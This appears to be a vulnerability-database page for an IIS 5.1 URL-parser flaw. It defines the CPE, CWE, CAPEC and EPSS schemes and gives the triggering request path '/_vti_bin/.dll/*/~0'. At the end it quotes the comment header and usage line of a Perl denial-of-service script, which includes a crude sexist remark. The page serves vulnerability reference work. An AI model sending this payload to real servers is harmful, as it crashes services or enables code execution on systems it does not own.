CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
The URL parser in Microsoft Internet Information Services (IIS) 5.1 on Windows XP Professional SP2 allows remote attackers to execute arbitrary code via multiple requests to ".dll" followed by arguments such as "~0" through "~9", which causes ntdll.dll to produce a return value that is not correctly handled by IIS, as demonstrated using "/_vti_bin/.dll/*/~0". NOTE: the consequence was originally believed to be only a denial of service (application crash and reboot).
Unchecked Return Value The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# _really_ bored kokanin / IIS 5.1 dos thing, Inge says to use a browser at

# kokanin not like puny browser!!"#1 I hoped Inge was a leet haxx0r ch1ck, but it's
# apparently a dude, bummer. According to Inge passing a kinda malformed url to
# an executable dir a few times makes inetinfo.exe crap out. Yum, monday. This
# script has insanely elite randomization of the url, it even amazes me.
# Hello ilja, ptp people, others, see you at ccc and stuff.

# sample run: ./this-crap.pl <www.host.bla> </executable_folder/> <count>
# count should be 4 according to inge, do more!!!!1one MILLIONS I SAY!!!
